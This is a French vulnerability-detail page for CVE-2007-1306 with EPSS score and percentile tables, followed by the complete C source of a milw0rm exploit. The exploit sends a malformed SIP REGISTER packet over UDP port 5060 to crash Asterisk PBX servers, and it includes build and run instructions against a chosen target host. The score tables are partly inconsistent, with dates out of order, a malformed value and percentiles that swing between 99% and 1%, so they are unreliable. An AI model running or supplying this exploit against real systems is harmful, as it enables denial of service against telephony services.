CVE-2007-1306 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	12.57%	–	–
2022-04-03	–	–	12.57%	–	–
2023-02-26	–	–	12.57%	–	–
2023-03-12	–	–	–	96.66%	–
2023-08-13	–	–	–	96.58%	–
2023-11-19	–	–	–	96.58%	–
2023-12-03	–	–	–	96.45%	–
2024-01-14	–	–	–	95.09%	–
2024-06-02	–	–	–	95.12%	–
2024-09-22	–	–	–	95.66%	–
2024-12-22	–	–	–	95.07%	–
2025-01-26	–	–	–	95.9%	–
2025-01-19	–	–	–	95.07%	–
2025-01-25	–	–	–	95.9%	–
2025-03-18	–	–	–	–	18.7%
2025-03-18	–	–	–	–	18.7,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	9%
2022-04-03	95%
2023-02-26	96%
2023-03-12	99%
2023-08-13	99%
2023-11-19	1%
2023-12-03	99%
2024-01-14	99%
2024-06-02	99%
2024-09-22	99%
2024-12-22	99%
2025-01-26	1%
2025-01-19	99%
2025-01-25	1%
2025-03-18	95%
2025-03-18	95%

/* this will cause asterisk to segfault, the bug that this exploits has been patched in release 1.2.16 & 1.4.1 CLI> Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 1082719152 (LWP 2510)] register_verify (p=0x81cf600, sin=0x4088e750, req=0x4088e760, uri=0x0) at chan_sip.c:8257 8257 while (*t && *t > ' ' && *t != ';') (gdb) build: gcc -o asterisk-sip-killer asterisk-sip-killer.c run: ./asterisk-sip-killer -h <targethost> */ #include <stdio.h> #include <string.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <netdb.h> #include <netinet/tcp.h> #define SIP_UDP_PORT 5060 struct udp_session { int sd; struct sockaddr_in saddr; }; int make_udp(struct udp_session *p, char *remotehost, int port) { int sd; int ret; struct sockaddr_in saddr; struct hostent *he; sd = socket(AF_INET,SOCK_DGRAM,0); if (sd == -1) { printf("error making socket\n"); return -1; } he = gethostbyname(remotehost); saddr.sin_family = AF_INET; saddr.sin_port = htons(port); saddr.sin_addr.s_addr = inet_addr(remotehost); memset(&(saddr.sin_zero), '\0', 8); p->sd = sd; memcpy(&p->saddr,&saddr,sizeof(struct sockaddr_in)); printf("udp socket ready\n"); return 0; } void kill_asterisk(struct udp_session *sess) { int ret; char *p = "REGISTER \r\n" "Via: SIP/2.0/UDP 192.168.204.130:5060;branch=z9hG4bK1d97e14f\r\n" "Max-Forwards: 70\r\n" "From: <sip:666@192.168.204.130>;tag=as253946cf\r\n" "To: <sip:100@192.168.204.130>\r\n" "Call-ID: 7e64a49e5cf018231228938050e43d3b@127.0.0.1\r\n" "CSeq: 104 REGISTER\r\n" "User-Agent: Asterisk PBX\r\n" "Expires: 120\r\n" "Contact: <sip:666@192.168.204.130>\r\n" "Event: registration\r\n" "Content-Length: 0\r\n"; ret = sendto(sess->sd, p, strlen(p), 0, (struct sockaddr *)&sess->saddr, sizeof(struct sockaddr)); if (ret) { printf("You may have well shutdown a asterisk server\n"); } else { printf("there was a issue sending the request\n"); return; } return; } int main(int argc, char **argv) { int i = 0; char *r_host = NULL; struct udp_session *connection_out; for (i=0;i<argc;i++) { if (!(strcmp(argv[i],"-h"))) { printf("it looks like you want a host entry\n"); r_host = argv[i+1]; printf("r_host: %s\n", r_host); } } if (!r_host) { printf("umm you forgot the -h <host> option!\n"); return 0; } if (!(connection_out = (struct udp_session *)malloc(sizeof(struct udp_session)))) { printf("malloc failed your computer sucks\n"); return 0; } make_udp(connection_out, r_host, SIP_UDP_PORT); kill_asterisk(connection_out); free(connection_out); return 0; } // milw0rm.com [2007-03-04]